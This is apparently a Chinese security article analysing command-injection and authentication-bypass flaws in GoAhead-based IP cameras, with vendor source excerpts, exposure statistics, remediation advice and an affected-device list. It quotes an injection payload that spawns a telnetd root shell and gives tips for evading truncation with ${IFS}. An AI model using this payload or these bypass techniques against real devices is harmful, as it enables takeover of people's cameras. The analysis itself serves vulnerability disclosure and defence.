iRet = GetStrParamValue( pparam, "filename", temp1, 63 );
URLDecode( temp2, strlen( temp2 ), decoderbuf, 63 );
strcpy( bparam.stFtpParam.szFileName, decoderbuf );
综上所述，`set_ftp.cgi`仅仅是将我们请求的各参数写入全局变量中。 接下来是`ftptest.cgi`部分，也就是调用了`iRet =
cgisetftptest( pbuf, pparam, byPri
);`这个函数。在该函数中，最为关键的函数为`DoFtpTest();`。直接跳到`func/ftp.c`文件中找到函数`DoFtpTest()`：
int DoFtpTest( void )
{
int iRet = 0;
iRet = FtpConfig( 0x01, NULL );
if ( iRet == 0 )
{
char cmd[128];
memset(cmd, 0, 128);
sprintf(cmd, "/tmp/ftpupdate1.sh > %s", FILE_FTP_TEST_RESULT);
iRet = DoSystem(cmd);
//iRet = DoSystem( "/tmp/ftpupdate1.sh > /tmp/ftpret.txt" );
}
return iRet;
}
可以看到，执行 FtpConfig()函数后运行了/tmp/ftpupdate1.sh。先让我们看看 FtpConfig()函数如何 处理该问题：
int FtpConfig( char test, char* filename )
{
......
fp = fopen( "/tmp/ftpupdate1.sh", "wb" );
memset( cmd, 0x00, 128 );
sprintf( cmd, "/system/system/bin/ftp -n<<!\n" );
fwrite( cmd, 1, strlen( cmd ), fp );
memset( cmd, 0x00, 128 );
sprintf( cmd, "open %s %d\n", bparam.stFtpParam.szFtpSvr, bparam.stFtpParam.nFtpPort );
fwrite( cmd, 1, strlen( cmd ), fp );
memset( cmd, 0x00, 128 );
sprintf( cmd, "user %s %s\n", bparam.stFtpParam.szFtpUser, bparam.stFtpParam.szFtpPwd );
fwrite( cmd, 1, strlen( cmd ), fp );
memset( cmd, 0x00, 128 );
sprintf( cmd, "binary\n" );
fwrite( cmd, 1, strlen( cmd ), fp );
if ( bparam.stFtpParam.byMode == 1 ) //passive
{
memset( cmd, 0x00, 128 );
sprintf( cmd, "pass\n" );
fwrite( cmd, 1, strlen( cmd ), fp );
}
#ifdef CUSTOM_DIR
char sub_temp[ 128 ];
memset(sub_temp, 0, 128);
//strcpy(sub_temp, bparam.stFtpParam.szFtpDir);
sprintf(sub_temp, "%s/%s", bparam.stFtpParam.szFtpDir,bparam.stIEBaseParam.dwDeviceID);
flag = sub_dir(fp,sub_temp);
if(flag){
memset( cmd, 0x00, 128 );
sprintf( cmd, "cd %s\n", bparam.stFtpParam.szFtpDir );
fwrite( cmd, 1, strlen( cmd ), fp );
}
#else
memset( cmd, 0x00, 128 );
sprintf( cmd, "cd %s\n", bparam.stFtpParam.szFtpDir );
fwrite( cmd, 1, strlen( cmd ), fp );
#endif
memset( cmd, 0x00, 128 );
sprintf( cmd, "lcd /tmp\n" );
fwrite( cmd, 1, strlen( cmd ), fp );
if ( test == 0x01 )
{
FtpFileTest();
memset( cmd, 0x00, 128 );
sprintf( cmd, "put ftptest.txt\n" );
fwrite( cmd, 1, strlen( cmd ), fp );
}
else
{
char filename1[128];
memset( filename1, 0x00, 128 );
memcpy( filename1, filename + 5, strlen( filename ) - 5 );
memset( cmd, 0x00, 128 );
sprintf( cmd, "put %s\n", filename1 );
fwrite( cmd, 1, strlen( cmd ), fp );
}
memset( cmd, 0x00, 128 );
sprintf( cmd, "close\n" );
fwrite( cmd, 1, strlen( cmd ), fp );
memset( cmd, 0x00, 128 );
sprintf( cmd, "bye\n" );
fwrite( cmd, 1, strlen( cmd ), fp );
memset( cmd, 0x00, 128 );
sprintf( cmd, "!\n" );
fwrite( cmd, 1, strlen( cmd ), fp );
fclose( fp );
iRet = access( "/tmp/ftpupdate1.sh", X_OK );
if ( iRet )
{
DoSystem( "chmod a+x /tmp/ftpupdate1.sh" );
}
return 0;
}
至此，逻辑很清晰了。在`FtpConfig()`函数中，将我们之前在设置的时候输入的各个值写入了`/tmp/ftpupdate1.sh`中，然后在`DoFtpTest()`中运行该脚本，导致最后的命令执行。这一点，同样可以在漏洞作者原文中得到证明:
作者原文中展示的/tmp/ftpupload.sh:
/ # cat /tmp/ftpupload.sh
/bin/ftp -n<<!
open 192.168.1.1 21
user ftp $(telnetd -l /bin/sh -p 25)ftp
binary
lcd /tmp
put ftptest.txt
close
bye
!
/ #
实际测试中，我们发现:如果直接用作者给出的exp去尝试RCE往往是不能成功的。从`http://ip:port/get_params.cgi?user=username&pwd=password`可以发现，我们注入的命令在空格处被截断了。
于是我们用${IFS}替换空格（还可以采用`+`代替空格）:
但是由于有长度限制再次被截断，调整长度，最终成功执行命令:
**成功抓住新代码的影子**
### 3.GoAhead绕过验证文件下载漏洞
2017年3月9日，Pierre Kim在文章中增加了两个链接，描述了一个GoAhead
2.1.8版本之前的[任意文件下载漏洞](https://s3-us-west-1.amazonaws.com/cybereasonbucket/wp-content/uploads/2017/03/08194911/PeekabooIOwnYou.pdf)。攻击者通过使用该漏洞，再结合一个新的远程命令执行漏洞可以再次获取摄像头的最高权限。有意思的是，这个漏洞早在2004年就已被提出并成功修复[（http://aluigi.altervista.org/adv/goahead-adv2.txt）](http://aluigi.altervista.org/adv/goahead-adv2.txt)。但是由于众多摄像头仍然使用存在该漏洞的老代码，该漏洞仍然可以在众多摄像头设备复现。
我们也查找了此门铃项目中的GoAhead服务器版本。web/release.txt前三行内容如下：
=====================================
GoAhead WebServer 2.1.8 Release Notes
=====================================
再仔细查看`websUrlHandlerRequest()`内容，发现并未对该漏洞进行修复，说明该漏洞也影响这个门铃项目。以此类推，本次受影响的摄像头应该也存在这个漏洞，果不其然：
那么，具体的漏洞成因又是如何呢?让我们来跟进`./web/LINUX/main.c`了解该漏洞的成因: `initWebs()`函数中，关键代码如下:
154: umOpen();
157: umAddGroup( T( "adm" ), 0x07, AM_DIGEST, FALSE, FALSE );
159: umAddUser( admu, admp, T( "adm" ), FALSE, FALSE );
160: umAddUser( "admin0", "admin0", T( "adm" ), FALSE, FALSE );
161: umAddUser( "admin1", "admin1", T( "adm" ), FALSE, FALSE );
162: umAddAccessLimit( T( "/" ), AM_DIGEST, FALSE, T( "adm" ) );
224: websUrlHandlerDefine( T( "" ), NULL, 0, websSecurityHandler, WEBS_HANDLER_FIRST );
227: websUrlHandlerDefine( T( "" ), NULL, 0, websDefaultHandler,WEBS_HANDLER_LAST );
其中，`150-160`中`um`开头的函数为用户权限控制的相关函数。主要做了以下四件事情: 1\. `umOpen()` 打开用户权限控制 2\.
`umAddGroup()` 增加用户组`adm`，并设置该用户组用户使用HTTP摘要认证方式登录 3\. `umAddUser()`
增加用户`admin`,`admin0`,`admin1`,并且这三个用户均属于`adm`用户组 4\. `umAddAccessLimit()`
增加限制路径`/`,凡是以`/`开头的路径都要通过`HTTP摘要认证`的方式登录属于`adm`组的用户。
紧接着，在`220`多行通过`websUrlHandlerDefine()`函数运行了两个`Handler`，`websSecurityHandler`和`websDefaultHandler`。在`websSecurityHandler`中，对`HTTP摘要认证方式`进行处理。关键代码如下：
86: accessLimit = umGetAccessLimit( path );
115: am = umGetAccessMethodForURL( accessLimit );
116: nRet = 0;
118-242: if ( ( flags & WEBS_LOCAL_REQUEST ) && ( debugSecurity == 0 ) ){……}
245: return nRet;
第86行，`umGetAccessLimit()`函数用于将我们请求的路径规范化，主要逻辑就是去除路径最后的`/`或者`\\`，确保我们请求的是一个文件。`umGetAccessMethodForURL()`函数用于获取我们请求的路径对应的权限。这里，我们请求的路径是`system.ini`，根据上文，我们的设置是对`/`路径需要进行`HTTP摘要认证`，由于程序判断`system.ini`不属于`/`路径，所以这里`am`为默认的`AM_INVALID`,即无需验证。
紧接着向下，`nRet`初始化赋值为0.在`118-242`行中，如果出现了账号密码错误等情况，则会将`nRet`赋值为`1`，表示验证不通过。但是由于我们请求的路径无需验证，所以判断结束时`nRet`仍为`0`。因此，顺利通过验证，获取到对应的文件内容。
**就这样，我们再次抓住了这个”新代码”的影子，虽然这个2004年的漏洞让我们不得不为新代码这三个字加上了双引号。**
### 4.远程命令执行漏洞二（需登录）
在Pierre Kim新增的两个链接中，还介绍了一种新的远程命令执行的方式。即通过`set_mail.cgi`和`mailtest.cgi`来执行命令。
与上一个远程命令执行漏洞一样，我们先在`func/ieparam.c`文件中找到`set_mail.cgi`和`mailtest.cgi`的调用过程
257: pdst = strstr( pcmd, "set_mail.cgi" );
258:
259: if ( pdst != NULL )
260: {
261: return CGI_IESET_MAIL;
262: }
348: pdst = strstr( pcmd, "mailtest.cgi" );
349:
350: if ( pdst != NULL )
351: {
352: return CGI_IESET_MAILTEST;
353:}
7674: case CGI_IESET_MAILTEST:
7675: if ( len == 0x00 )
7676: {
7677: iRet = cgisetmailtest( pbuf, pparam, byPri );
7678: }
7679:
7680: break;
7746: case CGI_IESET_MAIL:
7747: if ( len == 0x00 )
7748: {
7749: iRet = cgisetmail( pbuf, pparam, byPri );
7750: IETextout( "-------------OK--------" );
7751: NoteSaveSem();
7752: }
7753:
7754: break;
跟上一个远程命令执行漏洞类似，`cgisetmail()`函数用于将各参数储存到结构体，例如`sender`参数赋值给`bparam.stMailParam.szSender`、`receiver1`参数赋值给`bparam.stMailParam.szReceiver1`。
接着，来到了`cgisetmailtest()`函数:
int cgisetmailtest( unsigned char* pbuf, char* pparam, unsigned char byPri )
{
unsigned char temp[2048];
int len = 0;
int result = 0;
char nexturl[64];
int iRet = 0;
memset( temp, 0x00, 2048 );
//iRet = DoMailTest();
if(iRet == 0)
{
IETextout("Mail send over, OK or Not");
}
/* END: Added by Baggio.wu, 2013/10/25 */
memset( nexturl, 0x00, 64 );
iRet = GetStrParamValue( pparam, "next_url", nexturl, 63 );
if ( iRet == 0x00 )
{
#if 1
len += RefreshUrl( temp + len, nexturl );
#endif
memcpy( pbuf, temp, len );
}
else
{
len += sprintf( temp + len, "var result=\"ok\";\r\n" );
memcpy( pbuf, temp, len );
}
printf( "sendmail len:%d\n", len );
return len;
}
该函数第十行已被注释掉。这是使用此函数发送邮件证据的唯一可寻之处。虽然被注释掉了，我们也要继续跟踪`DoMailTest()`这个函数：
int DoMailTest( void ) //email test
{
int iRet = -1;
char cmd[256];
if ( bparam.stMailParam.szSender[0] == 0 )
{
return -1;
}
if ( bparam.stMailParam.szReceiver1[0] != 0x00 )
{
iRet = EmailConfig();
if ( iRet )
{
return -1;
}
memset( cmd, 0x00, 256 );
/* BEGIN: Modified by Baggio.wu, 2013/9/9 */
sprintf( cmd, "echo \"mail test ok\" | /system/system/bin/mailx -r %s -s \"mail test\" %s",
bparam.stMailParam.szSender, bparam.stMailParam.szReceiver1 );
//sprintf( cmd, "echo \"mail test ok\" | /system/system/bin/mailx -v -s \"mail test\" %s",
// bparam.stMailParam.szReceiver1 );
printf( "start cmd:%s\n", cmd );
EmailWrite( cmd, strlen( cmd ) );
//emailtest();
printf( "cmd:%s\n", cmd );
}
return iRet;
}
可以看到`sprintf( cmd, "echo \"mail test ok\" | /system/system/bin/mailx -r %s -s
\"mail test\" %s",bparam.stMailParam.szSender, bparam.stMailParam.szReceiver1
);`发件人和收件人都直接被拼接成命令导致最后的命令执行。
## 三.漏洞影响范围
`ZoomEye网络空间探测引擎`探测结果显示，全球范围内共查询到`78`万条历史记录。我们根据这`78`万条结果再次进行探测，发现这些设备一共存在三种情况：
* 第一种是设备不存在漏洞。
* 第二种是设备存在验证绕过漏洞，但是由于`web`目录下没有`system.ini`，导致最终无法被利用。 可以看到，当我们直接请求`system.ini`的时候，显示需要认证，但是当我们绕过验证之后，却显示`404 not found`。
* 最后一种是设备既存在验证绕过漏洞，又存在`system.ini`文件。这些设备就存在被入侵的风险。
我们统计了最后一种设备的数量，数据显示有近`7万`的设备存在被入侵的风险。这7万设备的国家分布图如下:
可以看出，美国、中国、韩国、法国、日本属于重灾区。我国一共有 7000 多台设备可能被入侵，其中近 6000
台位于香港。我们根据具体数据做成两张柱状图以便查看：
（注：None为属于中国，但未解析出具体地址的IP）
**我们通过查询`ZoomEye网络空间探测引擎`历史记录，导出2016年1月1日，2017年1月1日和本报告编写时2017年3月14日三个时间点的数据进行分析。**
在这三个时间点，我们分别收录了`banner`中含有`GoAhead
5ccc069c403ebaf9f0171e9517f40e41`的设备26万台、65万台和78万台。
但是这些ip中，存在漏洞的设备增长趋势却完全不同。
可以看到，2016年1月1日已探明的设备中目前仅有2000多台存在漏洞，2017年1月1日之前探明的设备中有近3万台存在漏洞，仅仅两个多月后的今天，已有近7万台设备存在漏洞。
根据以上数据，我们可以做出如下判断：该漏洞出现时间大约是去年，直到今年被曝光之后才被大家所关注。在此期间，旧摄像头通过更新有漏洞固件的方式导致了该漏洞的出现，而那些新生产的摄像头则被销售到世界各地。根据今年新增的ip的地理位置，我们可以大致判断出这些存在漏洞的摄像头今年被销往何地。
根据数据，我们可以看到，主要销售到了美国、中国、韩国、日本。中国新增了5316台存在漏洞的摄像头，其中4000多台位于香港。
## 四.修复方案
1.将存在漏洞的摄像头设备放置于内网。 2.及时升级到最新固件。 3.对于可能被感染的设备，可以采取重启的方式来杀死驻留在内存里的恶意进程。
## 五.参考链接
1. https://www.seebug.org/vuldb/ssvid-92789
2. https://www.seebug.org/vuldb/ssvid-92748
3. https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html
4. https://github.com/kuangxingyiqing/bell-jpg
5. http://aluigi.altervista.org/adv/goahead-adv2.txt
## 附表1:Pierre Kim给出的受影响设备列表:
列表如下：
---
3G+IPCam Other
3SVISION Other
3com CASA
3com Other
3xLogic Other
3xLogic Radio
4UCAM Other
4XEM Other
555 Other
7Links 3677
7Links 3677-675
7Links 3720-675
7Links 3720-919
7Links IP-Cam-in
7Links IP-Wi-Fi
7Links IPC-760HD
7Links IPC-770HD
7Links Incam
7Links Other
7Links PX-3615-675
7Links PX-3671-675
7Links PX-3720-675
7Links PX3309
7Links PX3615
7Links ipc-720
7Links px-3675
7Links px-3719-675
7Links px-3720-675
A4Tech Other
ABS Other
ADT RC8021W
AGUILERA AQUILERA
AJT AJT-019129-BBCEF
ALinking ALC
ALinking Other
ALinking dax
AMC Other
ANRAN ip180
APKLINK Other
AQUILA AV-IPE03
AQUILA AV-IPE04
AVACOM 5060
AVACOM 5980
AVACOM H5060W
AVACOM NEW
AVACOM Other
AVACOM h5060w
AVACOM h5080w
Acromedia IN-010
Acromedia Other
Advance Other
Advanced+home lc-1140
Aeoss J6358
Aetos 400w
Agasio A500W
Agasio A502W
Agasio A512
Agasio A533W
Agasio A602W
Agasio A603W
Agasio Other
AirLink Other
Airmobi HSC321
Airsight Other
Airsight X10
Airsight X34A
Airsight X36A
Airsight XC39A
Airsight XX34A
Airsight XX36A
Airsight XX40A
Airsight XX60A
Airsight x10
Airsight x10Airsight
Airsight xc36a
Airsight xc49a
Airsight xx39A
Airsight xx40a
Airsight xx49a
Airsight xx51A
Airsight xx51a
Airsight xx52a
Airsight xx59a
Airsight xx60a
Akai AK7400
Akai SP-T03WP
Alecto 150
Alecto Atheros
Alecto DVC-125IP
Alecto DVC-150-IP
Alecto DVC-1601
Alecto DVC-215IP
Alecto DVC-255-IP
Alecto dv150
Alecto dvc-150ip
Alfa 0002HD
Alfa Other
Allnet 2213
Allnet ALL2212
Allnet ALL2213
Amovision Other
Android+IP+cam IPwebcam
Anjiel ip-sd-sh13d
Apexis AH9063CW
Apexis APM-H803-WS
Apexis APM-H804-WS
Apexis APM-J011
Apexis APM-J011-Richard
Apexis APM-J011-WS
Apexis APM-J012
Apexis APM-J012-WS
Apexis APM-J0233
Apexis APM-J8015-WS
Apexis GENERIC
Apexis H
Apexis HD
Apexis J
Apexis Other
Apexis PIPCAM8
Apexis Pyle
Apexis XF-IP49
Apexis apexis
Apexis apm-
Apexis dealextreme
Aquila+Vizion Other
Area51 Other
ArmorView Other
Asagio A622W
Asagio Other
Asgari 720U
Asgari Other
Asgari PTG2
Asgari UIR-G2
Atheros ar9285
AvantGarde SUMPPLE
Axis 1054
Axis 241S
B-Qtech Other
B-Series B-1
BRAUN HD-560
BRAUN HD505
Beaulieu Other
Bionics Other
Bionics ROBOCAM
Bionics Robocam
Bionics T6892WP
Bionics t6892wp
Black+Label B2601
Bravolink Other
Breno Other
CDR+king APM-J011-WS
CDR+king Other
CDR+king SEC-015-C
CDR+king SEC-016-NE
CDR+king SEC-028-NE
CDR+king SEC-029-NE
CDR+king SEC-039-NE
CDR+king sec-016-ne
CDXX Other
CDXXcamera Any
CP+PLUS CP-EPK-HC10L1
CPTCAM Other
Camscam JWEV-372869-BCBAB
Casa Other
Cengiz Other
Chinavasion Gunnie
Chinavasion H30
Chinavasion IP611W
Chinavasion Other
Chinavasion ip609aw
Chinavasion ip611w
Cloud MV1
Cloud Other
CnM IP103
CnM Other
CnM sec-ip-cam
Compro NC150/420/500
Comtac CS2
Comtac CS9267
Conceptronic CIPCAM720PTIWL
Conceptronic cipcamptiwl
Cybernova Other
Cybernova WIP604
Cybernova WIP604MW
D-Link DCS-910
D-Link DCS-930L
D-Link L-series
D-Link Other
DB+Power 003arfu
DB+Power DBPOWER
DB+Power ERIK
DB+Power HC-WV06
DB+Power HD011P
DB+Power HD012P
DB+Power HD015P
DB+Power L-615W
DB+Power LA040
DB+Power Other
DB+Power Other2
DB+Power VA-033K
DB+Power VA0038K
DB+Power VA003K+
DB+Power VA0044_M
DB+Power VA033K
DB+Power VA033K+
DB+Power VA035K
DB+Power VA036K
DB+Power VA038
DB+Power VA038k
DB+Power VA039K
DB+Power VA039K-Test
DB+Power VA040
DB+Power VA390k
DB+Power b
DB+Power b-series
DB+Power extcams
DB+Power eye
DB+Power kiskFirstCam
DB+Power va033k
DB+Power va039k
DB+Power wifi
DBB IP607W
DEVICECLIENTQ CNB
DKSEG Other
DNT CamDoo
DVR DVR
DVS-IP-CAM Other
DVS-IP-CAM Outdoor/IR
Dagro DAGRO-003368-JLWYX
Dagro Other
Dericam H216W
Dericam H502W
Dericam M01W
Dericam M2/6/8
Dericam M502W
Dericam M601W
Dericam M801W
Dericam Other
Digix Other
Digoo BB-M2
Digoo MM==BB-M2
Digoo bb-m2
Dinon 8673
Dinon 8675
Dinon SEGEV-105
Dinon segev-103
Dome Other
Drilling+machines Other
E-Lock 1000
ENSIDIO IP102W
EOpen Open730
* * * | 社区文章 |
Subsets and Splits